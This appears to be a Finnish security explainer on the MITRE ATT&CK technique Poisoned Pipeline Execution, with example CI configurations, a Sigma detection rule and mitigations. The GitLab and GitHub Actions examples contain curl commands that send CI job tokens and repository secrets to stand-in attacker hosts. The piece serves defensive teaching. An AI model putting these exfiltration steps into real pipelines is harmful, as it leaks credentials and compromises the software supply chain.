🧠 MITRE ATT&CK – Viikon tekniikka

Läpikäyty: 1 tekniikkaa • Päivitetty 12.11.2026
T1677: Poisoned Pipeline Execution (execution) Uusin

🎯 Mikä tekniikka on ja miksi sitä käytetään?

Poisoned Pipeline Execution (T1677) on hyökkäys, jossa hyökkääjä manipuloi CI/CD‑putkea (continuous integration / continuous deployment) lisäämällä haitallista koodia build‑prosessiin. Tavoitteena on varastaa tai vuotaa käyttöoikeuksia, salaisuuksia (API‑avaimet, tokenit) tai suorittaa ylimääräisiä komentoja kohdejärjestelmässä. Tekniikka on suosittu supply‑chain‑hyökkäyksissä, koska CI‑järjestelmät usein toimivat korkeilla oikeuksilla ja niillä on pääsy tuotantoympäristöön. Tunnettuja esimerkkejä: Unit 42:n Palo Alto GitHub Actions -hyökkäys (2025) sekä APT‑28:n (Fancy Bear) CI‑pipeline‑manipulaatio.

⚙️ Tekninen toteutus käytännössä

  1. Direct Pipeline Execution – hyökkääjä muokkaa CI‑konfiguraatiotiedostoa, esim. gitlab-ci.yml, ja lisää komennon:
stages:
  - build

build_job:
  stage: build
  script:
    - echo "Malicious code"
    - curl -X POST -d "$(cat $CI_JOB_TOKEN)" https://malicious.example.com/steal
  1. Indirect Pipeline Execution – CI‑tiedosto viittaa ulkoiseen skriptiin tai makefileen, johon hyökkääjä injektoi koodia, esim. build.sh sisältää npm run test && npm run malicious.

  2. Public Pipeline Execution – hyökkääjä tekee forkin ja avaa pull‑requestin, joka aktivoi pull_request_target‑triggerin GitHub Actionsissa. Workflow‑tiedostossa on:

on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Run malicious command
        run: npm run build && curl -H "Authorization: ${{ secrets.GITHUB_TOKEN }}" https://attacker.com/exfil

Kun PR ajetaan, workflow saa käyttöönsä repository‑salaisuudet ja voi viedä ne ulos.

🔍 Detection & Lokitus (Blue Team)

Sigma‑esimerkki GitHub‑toimintojen havaitsemiseksi:

title: Suspicious GitHub Actions secret usage
logsource:
  product: github
  service: actions
detection:
  selection:
    event.type: workflow_job
    secrets.*: "*"
    command|contains: "curl"
  condition: selection
level: high

🛡️ Kovennus ja esto (Mitigation)

  1. Rajoita CI‑secretien käyttöä – määritä environment‑tason salaisuudet ja salli niiden käyttö vain tietyissä jobeissa.
  2. Käytä “least privilege” -periaatetta CI‑runnereille – erilliset palvelutilit ilman laajoja organisaatio‑oikeuksia, ja rajoita verkko‑yhteyksiä (esim. sallitaan vain sisäiset endpointit).
  3. Pakota koodin tarkistus ja signed commits – vaadi GPG‑allekirjoituksia PR:ille ja estä pull_request_target‑triggerin käyttö ilman tarkkaa hyväksyntää.

Virallinen MITRE ATT&CK -sivu (T1677)